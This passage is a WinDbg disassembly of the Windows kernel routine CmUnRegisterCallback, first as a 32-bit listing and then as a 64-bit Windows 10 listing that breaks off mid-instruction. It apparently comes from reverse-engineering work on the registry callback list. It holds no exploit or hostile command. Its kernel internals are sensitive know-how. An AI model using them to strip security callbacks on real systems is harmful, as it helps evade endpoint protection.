(81ee7d41)nt!CmUnRegisterCallback+0xb0:81ee7d3f 8bd3 mov edx,ebxnt!CmUnRegisterCallback+0xb2:81ee7d41 f6c102 test cl,281ee7d44 7512 jne nt!CmUnRegisterCallback+0xc9 (81ee7d58)nt!CmUnRegisterCallback+0xb7:81ee7d46 8bc1 mov eax,ecx81ee7d48 be9817cb81 mov esi,offset nt!CmpCallbackListLock (81cb1798)81ee7d4d f00fb116 lock cmpxchg dword ptr [esi],edx81ee7d51 3bc1 cmp eax,ecx81ee7d53 8b75dc mov esi,dword ptr [ebp-24h]81ee7d56 740a je nt!CmUnRegisterCallback+0xd3 (81ee7d62)nt!CmUnRegisterCallback+0xc9:81ee7d58 b99817cb81 mov ecx,offset nt!CmpCallbackListLock (81cb1798)81ee7d5d e81e87bbff call nt!ExfReleasePushLock (81aa0480)nt!CmUnRegisterCallback+0xd3:81ee7d62 b99817cb81 mov ecx,offset nt!CmpCallbackListLock (81cb1798)81ee7d67 e8f488c4ff call nt!KeAbPostRelease (81b30660)81ee7d6c 648b0d24010000 mov ecx,dword ptr fs:[124h]81ee7d73 0fbf813c010000 movsx eax,word ptr [ecx+13Ch]81ee7d7a 40 inc eax81ee7d7b 6689813c010000 mov word ptr [ecx+13Ch],ax81ee7d82 6685c0 test ax,ax81ee7d85 752a jne nt!CmUnRegisterCallback+0x122 (81ee7db1)nt!CmUnRegisterCallback+0xf8:81ee7d87 8d4170 lea eax,[ecx+70h]81ee7d8a 3900 cmp dword ptr [eax],eax81ee7d8c 7423 je nt!CmUnRegisterCallback+0x122 (81ee7db1)nt!CmUnRegisterCallback+0xff:81ee7d8e 6639993e010000 cmp word ptr [ecx+13Eh],bx81ee7d95 751a jne nt!CmUnRegisterCallback+0x122 (81ee7db1)nt!CmUnRegisterCallback+0x108:81ee7d97 e8707abbff call nt!KiCheckForKernelApcDelivery (81a9f80c)81ee7d9c eb13 jmp nt!CmUnRegisterCallback+0x122 (81ee7db1)nt!CmUnRegisterCallback+0x10f:81ee7d9e 53 push ebx81ee7d9f 6a04 push 481ee7da1 8d45e0 lea eax,[ebp-20h]81ee7da4 50 push eax81ee7da5 8bd7 mov edx,edi81ee7da7 b9a817cb81 mov ecx,offset nt!CallbackListDeleteEvent (81cb17a8)81ee7dac e8c715c1ff call nt!ExBlockOnAddressPushLock (81af9378)nt!CmUnRegisterCallback+0x122:81ee7db1 8b07 mov eax,dword ptr [edi]81ee7db3 8945e0 mov dword ptr [ebp-20h],eax81ee7db6 3d00000080 cmp eax,80000000h81ee7dbb 75e1 jne nt!CmUnRegisterCallback+0x10f (81ee7d9e)nt!CmUnRegisterCallback+0x12e:81ee7dbd 64a124010000 mov eax,dword ptr fs:[00000124h]81ee7dc3 66ff883c010000 dec word ptr [eax+13Ch]81ee7dca 53 push ebx81ee7dcb 33d2 xor edx,edx81ee7dcd b99817cb81 mov ecx,offset nt!CmpCallbackListLock (81cb1798)81ee7dd2 e8498cc4ff call nt!KeAbPreAcquire (81b30a20)81ee7dd7 8bf8 mov edi,eax81ee7dd9 b89817cb81 mov eax,offset nt!CmpCallbackListLock (81cb1798)81ee7dde f00fba2800 lock bts dword ptr [eax],081ee7de3 730a jae nt!CmUnRegisterCallback+0x160 (81ee7def)nt!CmUnRegisterCallback+0x156:81ee7de5 50 push eax81ee7de6 8bd7 mov edx,edi81ee7de8 8bc8 mov ecx,eax81ee7dea e81176bbff call nt!ExfAcquirePushLockExclusiveEx (81a9f400)nt!CmUnRegisterCallback+0x160:81ee7def 85ff test edi,edi81ee7df1 7407 je nt!CmUnRegisterCallback+0x16b (81ee7dfa)nt!CmUnRegisterCallback+0x164:81ee7df3 8b4710 mov eax,dword ptr [edi+10h]81ee7df6 804f0e01 or byte ptr [edi+0Eh],1nt!CmUnRegisterCallback+0x16b:81ee7dfa 8b0e mov ecx,dword ptr [esi]81ee7dfc 8b4604 mov eax,dword ptr [esi+4]81ee7dff 397104 cmp dword ptr [ecx+4],esi81ee7e02 7525 jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x175:81ee7e04 3930 cmp dword ptr [eax],esi81ee7e06 7521 jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x179:81ee7e08 8908 mov dword ptr [eax],ecx81ee7e0a 894104 mov dword ptr [ecx+4],eax81ee7e0d 8b0d9817cb81 mov ecx,dword ptr [nt!CmpCallbackListLock (81cb1798)]81ee7e13 8bc1 mov eax,ecx81ee7e15 83e0f0 and eax,0FFFFFFF0h81ee7e18 83f810 cmp eax,10h81ee7e1b 8d51f0 lea edx,[ecx-10h]81ee7e1e 7702 ja nt!CmUnRegisterCallback+0x193 (81ee7e22)nt!CmUnRegisterCallback+0x191:81ee7e20 8bd3 mov edx,ebxnt!CmUnRegisterCallback+0x193:81ee7e22 bf9817cb81 mov edi,offset nt!CmpCallbackListLock (81cb1798)81ee7e27 eb2d jmp nt!CmUnRegisterCallback+0x1c7 (81ee7e56)nt!CmUnRegisterCallback+0x19a:81ee7e29 6a03 push 381ee7e2b 59 pop ecx81ee7e2c cd29 int 29hnt!CmUnRegisterCallback+0x19f:81ee7e2e 8b0e mov ecx,dword ptr [esi]81ee7e30 8b4604 mov eax,dword ptr [esi+4]81ee7e33 397104 cmp dword ptr [ecx+4],esi81ee7e36 75f1 jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x1a9:81ee7e38 3930 cmp dword ptr [eax],esi81ee7e3a 75ed jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x1ad:81ee7e3c 8908 mov dword ptr [eax],ecx81ee7e3e 894104 mov dword ptr [ecx+4],eax81ee7e41 8b0d9817cb81 mov ecx,dword ptr [nt!CmpCallbackListLock (81cb1798)]81ee7e47 8bc1 mov eax,ecx81ee7e49 83e0f0 and eax,0FFFFFFF0h81ee7e4c 83f810 cmp eax,10h81ee7e4f 8d51f0 lea edx,[ecx-10h]81ee7e52 7702 ja nt!CmUnRegisterCallback+0x1c7 (81ee7e56)nt!CmUnRegisterCallback+0x1c5:81ee7e54 8bd3 mov edx,ebxnt!CmUnRegisterCallback+0x1c7:81ee7e56 f6c102 test cl,281ee7e59 750a jne nt!CmUnRegisterCallback+0x1d6 (81ee7e65)nt!CmUnRegisterCallback+0x1cc:81ee7e5b 8bc1 mov eax,ecx81ee7e5d f00fb117 lock cmpxchg dword ptr [edi],edx81ee7e61 3bc1 cmp eax,ecx81ee7e63 7407 je nt!CmUnRegisterCallback+0x1dd (81ee7e6c)nt!CmUnRegisterCallback+0x1d6:81ee7e65 8bcf mov ecx,edi81ee7e67 e81486bbff call nt!ExfReleasePushLock (81aa0480)nt!CmUnRegisterCallback+0x1dd:81ee7e6c 8bcf mov ecx,edi81ee7e6e e8ed87c4ff call nt!KeAbPostRelease (81b30660)81ee7e73 648b0d24010000 mov ecx,dword ptr fs:[124h]81ee7e7a 0fbf813c010000 movsx eax,word ptr [ecx+13Ch]81ee7e81 40 inc eax81ee7e82 6685c0 test ax,ax81ee7e85 6689813c010000 mov word ptr [ecx+13Ch],ax81ee7e8c 7515 jne nt!CmUnRegisterCallback+0x214 (81ee7ea3)nt!CmUnRegisterCallback+0x1ff:81ee7e8e 8d4170 lea eax,[ecx+70h]81ee7e91 3900 cmp dword ptr [eax],eax81ee7e93 740e je nt!CmUnRegisterCallback+0x214 (81ee7ea3)nt!CmUnRegisterCallback+0x206:81ee7e95 6639993e010000 cmp word ptr [ecx+13Eh],bx81ee7e9c 7505 jne nt!CmUnRegisterCallback+0x214 (81ee7ea3)nt!CmUnRegisterCallback+0x20f:81ee7e9e e86979bbff call nt!KiCheckForKernelApcDelivery (81a9f80c)nt!CmUnRegisterCallback+0x214:81ee7ea3 895dd4 mov dword ptr [ebp-2Ch],ebx81ee7ea6 8d45c8 lea eax,[ebp-38h]81ee7ea9 8945cc mov dword ptr [ebp-34h],eax81ee7eac 8945c8 mov dword ptr [ebp-38h],eax81ee7eaf 885de7 mov byte ptr [ebp-19h],bl81ee7eb2 64a124010000 mov eax,dword ptr fs:[00000124h]81ee7eb8 66ff883c010000 dec word ptr [eax+13Ch]81ee7ebf 53 push ebx81ee7ec0 33d2 xor edx,edx81ee7ec2 bf9c17cb81 mov edi,offset nt!CmpContextListLock (81cb179c)81ee7ec7 8bcf mov ecx,edi81ee7ec9 e8528bc4ff call nt!KeAbPreAcquire (81b30a20)81ee7ece 8bc8 mov ecx,eax81ee7ed0 894dd0 mov dword ptr [ebp-30h],ecx81ee7ed3 f00fba2f00 lock bts dword ptr [edi],081ee7ed8 730d jae nt!CmUnRegisterCallback+0x258 (81ee7ee7)nt!CmUnRegisterCallback+0x24b:81ee7eda 57 push edi81ee7edb 8bd1 mov edx,ecx81ee7edd 8bcf mov ecx,edi81ee7edf e81c75bbff call nt!ExfAcquirePushLockExclusiveEx (81a9f400)81ee7ee4 8b4dd0 mov ecx,dword ptr [ebp-30h]nt!CmUnRegisterCallback+0x258:81ee7ee7 85c9 test ecx,ecx81ee7ee9 7407 je nt!CmUnRegisterCallback+0x263 (81ee7ef2)nt!CmUnRegisterCallback+0x25c:81ee7eeb 8b4110 mov eax,dword ptr [ecx+10h]81ee7eee 80490e01 or byte ptr [ecx+0Eh],1nt!CmUnRegisterCallback+0x263:81ee7ef2 8d4628 lea eax,[esi+28h]81ee7ef5 8b38 mov edi,dword ptr [eax]81ee7ef7 3bf8 cmp edi,eax81ee7ef9 0f8485000000 je nt!CmUnRegisterCallback+0x2f5 (81ee7f84)nt!CmUnRegisterCallback+0x270:81ee7eff 8b07 mov eax,dword ptr [edi]81ee7f01 8945d0 mov dword ptr [ebp-30h],eax81ee7f04 8b4f14 mov ecx,dword ptr [edi+14h]81ee7f07 e85430c4ff call nt!ObReferenceObjectSafe (81b2af60)81ee7f0c 84c0 test al,al81ee7f0e 7462 je nt!CmUnRegisterCallback+0x2e3 (81ee7f72)nt!CmUnRegisterCallback+0x281:81ee7f10 8d47f8 lea eax,[edi-8]81ee7f13 8d4808 lea ecx,[eax+8]81ee7f16 8b11 mov edx,dword ptr [ecx]81ee7f18 8955e0 mov dword ptr [ebp-20h],edx81ee7f1b 8b5104 mov edx,dword ptr [ecx+4]81ee7f1e 8b75e0 mov esi,dword ptr [ebp-20h]81ee7f21 394e04 cmp dword ptr [esi+4],ecx81ee7f24 8b75dc mov esi,dword ptr [ebp-24h]81ee7f27 0f85fcfeffff jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x29e:81ee7f2d 390a cmp dword ptr [edx],ecx81ee7f2f 0f85f4feffff jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x2a6:81ee7f35 8b4de0 mov ecx,dword ptr [ebp-20h]81ee7f38 890a mov dword ptr [edx],ecx81ee7f3a 895104 mov dword ptr [ecx+4],edx81ee7f3d 8b10 mov edx,dword ptr [eax]81ee7f3f 8b4804 mov ecx,dword ptr [eax+4]81ee7f42 394204 cmp dword ptr [edx+4],eax81ee7f45 0f85defeffff jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x2bc:81ee7f4b 3901 cmp dword ptr [ecx],eax81ee7f4d 0f85d6feffff jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x2c4:81ee7f53 8911 mov dword ptr [ecx],edx81ee7f55 894a04 mov dword ptr [edx+4],ecx81ee7f58 8b45cc mov eax,dword ptr [ebp-34h]81ee7f5b 8d4dc8 lea ecx,[ebp-38h]81ee7f5e 890f mov dword ptr [edi],ecx81ee7f60 894704 mov dword ptr [edi+4],eax81ee7f63 3908 cmp dword ptr [eax],ecx81ee7f65 0f85befeffff jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x2dc:81ee7f6b 8938 mov dword ptr [eax],edi81ee7f6d 897dcc mov dword ptr [ebp-34h],edi81ee7f70 eb04 jmp nt!CmUnRegisterCallback+0x2e7 (81ee7f76)nt!CmUnRegisterCallback+0x2e3:81ee7f72 c645e701 mov byte ptr [ebp-19h],1nt!CmUnRegisterCallback+0x2e7:81ee7f76 8b7dd0 mov edi,dword ptr [ebp-30h]81ee7f79 8d4628 lea eax,[esi+28h]81ee7f7c 3bf8 cmp edi,eax81ee7f7e 0f857bffffff jne nt!CmUnRegisterCallback+0x270 (81ee7eff)nt!CmUnRegisterCallback+0x2f5:81ee7f84 8b0d9c17cb81 mov ecx,dword ptr [nt!CmpContextListLock (81cb179c)]81ee7f8a 8bc1 mov eax,ecx81ee7f8c 83e0f0 and eax,0FFFFFFF0h81ee7f8f 83f810 cmp eax,10h81ee7f92 8d51f0 lea edx,[ecx-10h]81ee7f95 7702 ja nt!CmUnRegisterCallback+0x30a (81ee7f99)nt!CmUnRegisterCallback+0x308:81ee7f97 8bd3 mov edx,ebxnt!CmUnRegisterCallback+0x30a:81ee7f99 bf9c17cb81 mov edi,offset nt!CmpContextListLock (81cb179c)81ee7f9e f6c102 test cl,281ee7fa1 750a jne nt!CmUnRegisterCallback+0x31e (81ee7fad)nt!CmUnRegisterCallback+0x314:81ee7fa3 8bc1 mov eax,ecx81ee7fa5 f00fb117 lock cmpxchg dword ptr [edi],edx81ee7fa9 3bc1 cmp eax,ecx81ee7fab 7407 je nt!CmUnRegisterCallback+0x325 (81ee7fb4)nt!CmUnRegisterCallback+0x31e:81ee7fad 8bcf mov ecx,edi81ee7faf e8cc84bbff call nt!ExfReleasePushLock (81aa0480)nt!CmUnRegisterCallback+0x325:81ee7fb4 8bcf mov ecx,edi81ee7fb6 e8a586c4ff call nt!KeAbPostRelease (81b30660)81ee7fbb 648b0d24010000 mov ecx,dword ptr fs:[124h]81ee7fc2 0fbf813c010000 movsx eax,word ptr [ecx+13Ch]81ee7fc9 40 inc eax81ee7fca 6689813c010000 mov word ptr [ecx+13Ch],ax81ee7fd1 6685c0 test ax,ax81ee7fd4 7515 jne nt!CmUnRegisterCallback+0x35c (81ee7feb)nt!CmUnRegisterCallback+0x347:81ee7fd6 8d4170 lea eax,[ecx+70h]81ee7fd9 3900 cmp dword ptr [eax],eax81ee7fdb 740e je nt!CmUnRegisterCallback+0x35c (81ee7feb)nt!CmUnRegisterCallback+0x34e:81ee7fdd 6639993e010000 cmp word ptr [ecx+13Eh],bx81ee7fe4 7505 jne nt!CmUnRegisterCallback+0x35c (81ee7feb)nt!CmUnRegisterCallback+0x357:81ee7fe6 e82178bbff call nt!KiCheckForKernelApcDelivery (81a9f80c)nt!CmUnRegisterCallback+0x35c:81ee7feb 8d4dc8 lea ecx,[ebp-38h]81ee7fee 8b45c8 mov eax,dword ptr [ebp-38h]81ee7ff1 3bc1 cmp eax,ecx81ee7ff3 747c je nt!CmUnRegisterCallback+0x3e2 (81ee8071)nt!CmUnRegisterCallback+0x366:81ee7ff5 8b08 mov ecx,dword ptr [eax]81ee7ff7 8d55c8 lea edx,[ebp-38h]81ee7ffa 395004 cmp dword ptr [eax+4],edx81ee7ffd 0f8526feffff jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x374:81ee8003 394104 cmp dword ptr [ecx+4],eax81ee8006 0f851dfeffff jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x37d:81ee800c 894dc8 mov dword ptr [ebp-38h],ecx81ee800f 895104 mov dword ptr [ecx+4],edx81ee8012 8d48f8 lea ecx,[eax-8]81ee8015 894de0 mov dword ptr [ebp-20h],ecx81ee8018 8b411c mov eax,dword ptr [ecx+1Ch]81ee801b 8945bc mov dword ptr [ebp-44h],eax81ee801e 8b4120 mov eax,dword ptr [ecx+20h]81ee8021 8945c0 mov dword ptr [ebp-40h],eax81ee8024 895dfc mov dword ptr [ebp-4],ebx81ee8027 8d45bc lea eax,[ebp-44h]81ee802a 50 push eax81ee802b 6a28 push 28h81ee802d ff7618 push dword ptr [esi+18h]81ee8030 ff561c call dword ptr [esi+1Ch]81ee8033 c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh81ee803a eb18 jmp nt!CmUnRegisterCallback+0x3c5 (81ee8054)nt!CmUnRegisterCallback+0x3c5:81ee8054 8b4de0 mov ecx,dword ptr [ebp-20h]81ee8057 8b491c mov ecx,dword ptr [ecx+1Ch]81ee805a e8713bc4ff call nt!ObfDereferenceObject (81b2bbd0)81ee805f 68434d6363 push 63634D43h81ee8064 ff75e0 push dword ptr [ebp-20h]81ee8067 e8b49fdaff call nt!ExFreePoolWithTag (81c92020)81ee806c e97affffff jmp nt!CmUnRegisterCallback+0x35c (81ee7feb)nt!CmUnRegisterCallback+0x3e2:81ee8071 807de700 cmp byte ptr [ebp-19h],081ee8075 0f84d4000000 je nt!CmUnRegisterCallback+0x4c0 (81ee814f)nt!CmUnRegisterCallback+0x3ec:81ee807b 8d4628 lea eax,[esi+28h]81ee807e 8945d0 mov dword ptr [ebp-30h],eax81ee8081 8bf0 mov esi,eaxnt!CmUnRegisterCallback+0x3f4:81ee8083 64a124010000 mov eax,dword ptr fs:[00000124h]81ee8089 66ff883c010000 dec word ptr [eax+13Ch]81ee8090 53 push ebx81ee8091 33d2 xor edx,edx81ee8093 8bcf mov ecx,edi81ee8095 e88689c4ff call nt!KeAbPreAcquire (81b30a20)81ee809a 8bc8 mov ecx,eax81ee809c 894dd0 mov dword ptr [ebp-30h],ecx81ee809f f00fba2f00 lock bts dword ptr [edi],081ee80a4 730d jae nt!CmUnRegisterCallback+0x424 (81ee80b3)nt!CmUnRegisterCallback+0x417:81ee80a6 57 push edi81ee80a7 8bd1 mov edx,ecx81ee80a9 8bcf mov ecx,edi81ee80ab e85073bbff call nt!ExfAcquirePushLockExclusiveEx (81a9f400)81ee80b0 8b4dd0 mov ecx,dword ptr [ebp-30h]nt!CmUnRegisterCallback+0x424:81ee80b3 85c9 test ecx,ecx81ee80b5 7407 je nt!CmUnRegisterCallback+0x42f (81ee80be)nt!CmUnRegisterCallback+0x428:81ee80b7 8b4110 mov eax,dword ptr [ecx+10h]81ee80ba 80490e01 or byte ptr [ecx+0Eh],1nt!CmUnRegisterCallback+0x42f:81ee80be 8b06 mov eax,dword ptr [esi]81ee80c0 8945d8 mov dword ptr [ebp-28h],eax81ee80c3 8b0d9c17cb81 mov ecx,dword ptr [nt!CmpContextListLock (81cb179c)]81ee80c9 8bc1 mov eax,ecx81ee80cb 83e0f0 and eax,0FFFFFFF0h81ee80ce 83f810 cmp eax,10h81ee80d1 8d51f0 lea edx,[ecx-10h]81ee80d4 7702 ja nt!CmUnRegisterCallback+0x449 (81ee80d8)nt!CmUnRegisterCallback+0x447:81ee80d6 8bd3 mov edx,ebxnt!CmUnRegisterCallback+0x449:81ee80d8 f6c102 test cl,281ee80db 750a jne nt!CmUnRegisterCallback+0x458 (81ee80e7)nt!CmUnRegisterCallback+0x44e:81ee80dd 8bc1 mov eax,ecx81ee80df f00fb117 lock cmpxchg dword ptr [edi],edx81ee80e3 3bc1 cmp eax,ecx81ee80e5 7407 je nt!CmUnRegisterCallback+0x45f (81ee80ee)nt!CmUnRegisterCallback+0x458:81ee80e7 8bcf mov ecx,edi81ee80e9 e89283bbff call nt!ExfReleasePushLock (81aa0480)nt!CmUnRegisterCallback+0x45f:81ee80ee 8bcf mov ecx,edi81ee80f0 e86b85c4ff call nt!KeAbPostRelease (81b30660)81ee80f5 648b0d24010000 mov ecx,dword ptr fs:[124h]81ee80fc 0fbf813c010000 movsx eax,word ptr [ecx+13Ch]81ee8103 40 inc eax81ee8104 6689813c010000 mov word ptr [ecx+13Ch],ax81ee810b 6685c0 test ax,ax81ee810e 7515 jne nt!CmUnRegisterCallback+0x496 (81ee8125)nt!CmUnRegisterCallback+0x481:81ee8110 8d4170 lea eax,[ecx+70h]81ee8113 3900 cmp dword ptr [eax],eax81ee8115 740e je nt!CmUnRegisterCallback+0x496 (81ee8125)nt!CmUnRegisterCallback+0x488:81ee8117 6639993e010000 cmp word ptr [ecx+13Eh],bx81ee811e 7505 jne nt!CmUnRegisterCallback+0x496 (81ee8125)nt!CmUnRegisterCallback+0x491:81ee8120 e8e776bbff call nt!KiCheckForKernelApcDelivery (81a9f80c)nt!CmUnRegisterCallback+0x496:81ee8125 3975d8 cmp dword ptr [ebp-28h],esi81ee8128 7415 je nt!CmUnRegisterCallback+0x4b0 (81ee813f)nt!CmUnRegisterCallback+0x49b:81ee812a 53 push ebx81ee812b 6a04 push 481ee812d 8d45d8 lea eax,[ebp-28h]81ee8130 50 push eax81ee8131 8bd6 mov edx,esi81ee8133 b9a817cb81 mov ecx,offset nt!CallbackListDeleteEvent (81cb17a8)81ee8138 e83b12c1ff call nt!ExBlockOnAddressPushLock (81af9378)81ee813d eb03 jmp nt!CmUnRegisterCallback+0x4b3 (81ee8142)nt!CmUnRegisterCallback+0x4b0:81ee813f 885de7 mov byte ptr [ebp-19h],blnt!CmUnRegisterCallback+0x4b3:81ee8142 807de700 cmp byte ptr [ebp-19h],081ee8146 0f8537ffffff jne nt!CmUnRegisterCallback+0x3f4 (81ee8083)nt!CmUnRegisterCallback+0x4bd:81ee814c 8b75dc mov esi,dword ptr [ebp-24h]nt!CmUnRegisterCallback+0x4c0:81ee814f 83c8ff or eax,0FFFFFFFFh81ee8152 f00fc105b87ecb81 lock xadd dword ptr [nt!CmpCallBackCount (81cb7eb8)],eax81ee815a 48 dec eax81ee815b 751d jne nt!CmUnRegisterCallback+0x4eb (81ee817a)nt!CmUnRegisterCallback+0x4ce:81ee815d b9b817cb81 mov ecx,offset nt!CmpCallbackContextSList (81cb17b8)81ee8162 e809a5cbff call nt!ExInterlockedFlushSList (81ba2670)81ee8167 8bf8 mov edi,eax81ee8169 eb0b jmp nt!CmUnRegisterCallback+0x4e7 (81ee8176)nt!CmUnRegisterCallback+0x4dc:81ee816b 8bcf mov ecx,edi81ee816d 8b3f mov edi,dword ptr [edi]81ee816f 53 push ebx81ee8170 51 push ecx81ee8171 e8aa9edaff call nt!ExFreePoolWithTag (81c92020)nt!CmUnRegisterCallback+0x4e7:81ee8176 85ff test edi,edi81ee8178 75f1 jne nt!CmUnRegisterCallback+0x4dc (81ee816b)nt!CmUnRegisterCallback+0x4eb:81ee817a 8b4624 mov eax,dword ptr [esi+24h]81ee817d 85c0 test eax,eax81ee817f 7407 je nt!CmUnRegisterCallback+0x4f9 (81ee8188)nt!CmUnRegisterCallback+0x4f2:81ee8181 53 push ebx81ee8182 50 push eax81ee8183 e8989edaff call nt!ExFreePoolWithTag (81c92020)nt!CmUnRegisterCallback+0x4f9:81ee8188 53 push ebx81ee8189 56 push esi81ee818a e8919edaff call nt!ExFreePoolWithTag (81c92020)81ee818f 8b45d4 mov eax,dword ptr [ebp-2Ch]81ee8192 eb67 jmp nt!CmUnRegisterCallback+0x56c (81ee81fb)nt!CmUnRegisterCallback+0x505:81ee8194 8b0d9817cb81 mov ecx,dword ptr [nt!CmpCallbackListLock (81cb1798)]81ee819a 8bc1 mov eax,ecx81ee819c 83e0f0 and eax,0FFFFFFF0h81ee819f 83f810 cmp eax,10h81ee81a2 8d51f0 lea edx,[ecx-10h]81ee81a5 7702 ja nt!CmUnRegisterCallback+0x51a (81ee81a9)nt!CmUnRegisterCallback+0x518:81ee81a7 8bd3 mov edx,ebxnt!CmUnRegisterCallback+0x51a:81ee81a9 f6c102 test cl,281ee81ac 750a jne nt!CmUnRegisterCallback+0x529 (81ee81b8)nt!CmUnRegisterCallback+0x51f:81ee81ae 8bc1 mov eax,ecx81ee81b0 f00fb117 lock cmpxchg dword ptr [edi],edx81ee81b4 3bc1 cmp eax,ecx81ee81b6 7407 je nt!CmUnRegisterCallback+0x530 (81ee81bf)nt!CmUnRegisterCallback+0x529:81ee81b8 8bcf mov ecx,edi81ee81ba e8c182bbff call nt!ExfReleasePushLock (81aa0480)nt!CmUnRegisterCallback+0x530:81ee81bf 8bcf mov ecx,edi81ee81c1 e89a84c4ff call nt!KeAbPostRelease (81b30660)81ee81c6 648b0d24010000 mov ecx,dword ptr fs:[124h]81ee81cd 0fbf813c010000 movsx eax,word ptr [ecx+13Ch]81ee81d4 40 inc eax81ee81d5 6689813c010000 mov word ptr [ecx+13Ch],ax81ee81dc 6685c0 test ax,ax81ee81df 7515 jne nt!CmUnRegisterCallback+0x567 (81ee81f6)nt!CmUnRegisterCallback+0x552:81ee81e1 8d4170 lea eax,[ecx+70h]81ee81e4 3900 cmp dword ptr [eax],eax81ee81e6 740e je nt!CmUnRegisterCallback+0x567 (81ee81f6)nt!CmUnRegisterCallback+0x559:81ee81e8 6639993e010000 cmp word ptr [ecx+13Eh],bx81ee81ef 7505 jne nt!CmUnRegisterCallback+0x567 (81ee81f6)nt!CmUnRegisterCallback+0x562:81ee81f1 e81676bbff call nt!KiCheckForKernelApcDelivery (81a9f80c)nt!CmUnRegisterCallback+0x567:81ee81f6 b80d0000c0 mov eax,0C000000Dhnt!CmUnRegisterCallback+0x56c:81ee81fb e8f545cbff call nt!_SEH_epilog4 (81b9c7f5)81ee8200 c20800 ret 8
    Win10 64 位 CmUnRegisterCallbackkd> uf CmUnRegisterCallbacknt!CmUnRegisterCallback:fffff800`a0a5b718 4c8bdc mov r11,rspfffff800`a0a5b71b 49894b08 mov qword ptr [r11+8],rcxfffff800`a0a5b71f 53 push rbxfffff800`a0a5b720 56 push rsifffff800`a0a5b721 57 push rdifffff800`a0a5b722 4154 push r12fffff800`a0a5b724 4155 push r13fffff800`a0a5b726 4156 push r14fffff800`a0a5b728 4157 push r15fffff800`a0a5b72a 4881ec80000000 sub rsp,80hfffff800`a0a5b731 498363a800 and qword ptr [r11-58h],0fffff800`a0a5b736 33c0 xor eax,eaxfffff800`a0a5b738 498943b0 mov qword ptr [r11-50h],raxfffff800`a0a5b73c 498943b8 mov qword ptr [r11-48h],raxfffff800`a0a5b740 49214380 and qword ptr [r11-80h],raxfffff800`a0a5b744 e8a318f6ff call nt!CmpLockCallbackListExclusive (fffff800`a09bcfec)fffff800`a0a5b749 be00000080 mov esi,80000000hnt!CmUnRegisterCallback+0x36:fffff800`a0a5b74e 4533c0 xor r8d,r8dfffff800`a0a5b751 488d542438 lea rdx,[rsp+38h]fffff800`a0a5b756 488d0d83cfd1ff lea rcx,[nt!CallbackListHead (fffff800`a07786e0)]fffff800`a0a5b75d e8ba6aefff call nt!CmListGetNextElement (fffff800`a095221c)fffff800`a0a5b762 488bf8 mov rdi,raxfffff800`a0a5b765 4889442440 mov qword ptr [rsp+40h],raxfffff800`a0a5b76a 4885c0 test rax,raxfffff800`a0a5b76d 0f84c8020000 je nt!CmUnRegisterCallback+0x323 (fffff800`a0a5ba3b)nt!CmUnRegisterCallback+0x5b:fffff800`a0a5b773 488b8c24c0000000 mov rcx,qword ptr [rsp+0C0h]fffff800`a0a5b77b 48394818 cmp qword ptr [rax+18h],rcxfffff800`a0a5b77f 75cd jne nt!CmUnRegisterCallback+0x36 (fffff800`a0a5b74e)nt!CmUnRegisterCallback+0x69:fffff800`a0a5b781 8b4810 mov ecx,dword ptr [rax+10h]fffff800`a0a5b784 898c24d0000000 mov dword ptr [rsp+0D0h],ecxfffff800`a0a5b78b 8bc1 mov eax,ecxfffff800`a0a5b78d 85c0 test eax,eaxfffff800`a0a5b78f 7464 je nt!CmUnRegisterCallback+0xdd (fffff800`a0a5b7f5)nt!CmUnRegisterCallback+0x79:fffff800`a0a5b791 85c6 test esi,eaxfffff800`a0a5b793 75b9 jne nt!CmUnRegisterCallback+0x36 (fffff800`a0a5b74e)nt!CmUnRegisterCallback+0x7d:fffff800`a0a5b795 488d5f10 lea rbx,[rdi+10h]fffff800`a0a5b799 f0810b00000080 lock or dword ptr [rbx],80000000hfffff800`a0a5b7a0 e80b92ebff call nt!CmpUnlockCallbackList (fffff800`a09149b0)nt!CmUnRegisterCallback+0x8d:fffff800`a0a5b7a5 8b03 mov eax,dword ptr [rbx]fffff800`a0a5b7a7 898424d0000000 mov dword ptr [rsp+0D0h],eaxfffff800`a0a5b7ae 3bc6 cmp eax,esifffff800`a0a5b7b0 7425 je nt!CmUnRegisterCallback+0xbf (fffff800`a0a5b7d7)nt!CmUnRegisterCallback+0x9a:fffff800`a0a5b7b2 488364242000 and qword ptr [rsp+20h],0fffff800`a0a5b7b8 41b904000000 mov r9d,4fffff800`a0a5b7be 4c8d8424d0000000 lea r8,[rsp+0D0h]fffff800`a0a5b7c6 488bd3 mov rdx,rbxfffff800`a0a5b7c9 488d0d20cfd1ff lea rcx,[nt!CallbackListDeleteEvent (fffff800`a07786f0)]fffff800`a0a5b7d0 e8934fb1ff call nt!ExBlockOnAddressPushLock (fffff800`a0570768)fffff800`a0a5b7d5 ebce jmp nt!CmUnRegisterCallback+0x8d (fffff800`a0a5b7a5)nt!CmUnRegisterCallback+0xbf:fffff800`a0a5b7d7 e81018f6ff call nt!CmpLockCallbackListExclusive (fffff800`a09bcfec)fffff800`a0a5b7dc 488b0f mov rcx,qword ptr [rdi]fffff800`a0a5b7df 488b4708 mov rax,qword ptr [rdi+8]fffff800`a0a5b7e3 48397908 cmp qword ptr [rcx+8],rdifffff800`a0a5b7e7 7505 jne nt!CmUnRegisterCallback+0xd6 (fffff800`a0a5b7ee)nt!CmUnRegisterCallback+0xd1:fffff800`a0a5b7e9 483938 cmp qword ptr [rax],rdifffff800`a0a5b7ec 7421 je nt!CmUnRegisterCallback+0xf7 (fffff800`a0a5b80f)nt!CmUnRegisterCallback+0xd6:fffff800`a0a5b7ee b903000000 mov ecx,3fffff800`a0a5b7f3 cd29 int 29hnt!CmUnRegisterCallback+0xdd:fffff800`a0a5b7f5 488b0f mov rcx,qword ptr 